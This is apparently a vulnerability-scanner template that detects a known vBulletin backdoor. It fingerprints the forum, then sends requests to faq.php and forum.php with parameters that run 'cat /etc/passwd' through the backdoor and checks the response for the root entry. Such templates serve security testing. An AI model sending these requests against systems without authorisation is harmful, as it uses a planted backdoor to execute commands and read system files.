2023-12-31 16:09:36 +00:00
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id: vbulletin-backdoor
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info:
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name: vBulletin Backdoor - Detect
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author: MaStErCho
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severity: high
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reference:
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- https://github.com/OWASP/vbscan
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- https://blog.sucuri.net/2017/01/vbulletin-malware-hackers-compete-backdoor-control.html
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tags: backdoor,php,vbulletin,rce
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2024-01-19 21:37:50 +00:00
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flow: http(1) && http(2)
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2023-12-31 16:09:36 +00:00
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http:
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- method: GET
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path:
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2024-01-19 21:37:50 +00:00
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- '{{BaseURL}}'
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matchers:
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- type: word
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part: body
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words:
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- "content=\"vBulletin"
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- "id=\"vbulletin_css"
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- "clientscript/vbulletin"
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- "vBulletin_init"
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condition: or
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- method: GET
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path:
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- '{{BaseURL}}/faq.php?cmd=cat%20/etc/passwd'
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- '{{BaseURL}}/forum.php?x=shell_exec&y=cat%20/etc/passwd'
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- '{{BaseURL}}/{{paths}}/faq.php?cmd=cat%20/etc/passwd'
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- '{{BaseURL}}/{{paths}}/forum.php?x=shell_exec&y=cat%20/etc/passwd'
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- '{{paths}}.{{BaseURL}}/faq.php?cmd=cat%20/etc/passwd'
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- '{{paths}}.{{BaseURL}}/forum.php?x=shell_exec&y=cat%20/etc/passwd'
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2023-12-31 16:09:36 +00:00
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payloads:
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paths:
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- 'boards'
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- 'board'
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- 'forum'
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- 'forums'
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- 'vb'
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stop-at-first-match: true
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host-redirects: true
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max-redirects: 3
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matchers:
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2024-01-19 21:37:50 +00:00
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- type: dsl
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dsl:
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- "regex('root:.*:0:0:', body)"
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- "status_code == 200"
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2023-12-31 16:09:36 +00:00
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condition: and
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2024-01-20 08:05:50 +00:00
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# digest: 4a0a0047304502207afa875c0e44462e803840f41f1f4fd38b88e6de5750f6b55925458b5e91a234022100c8bbd0aea7be56bbf3853bd836128dc3dffbbd242053bce499d4a16df184429f:922c64590222798bb761d5b6d8e72950
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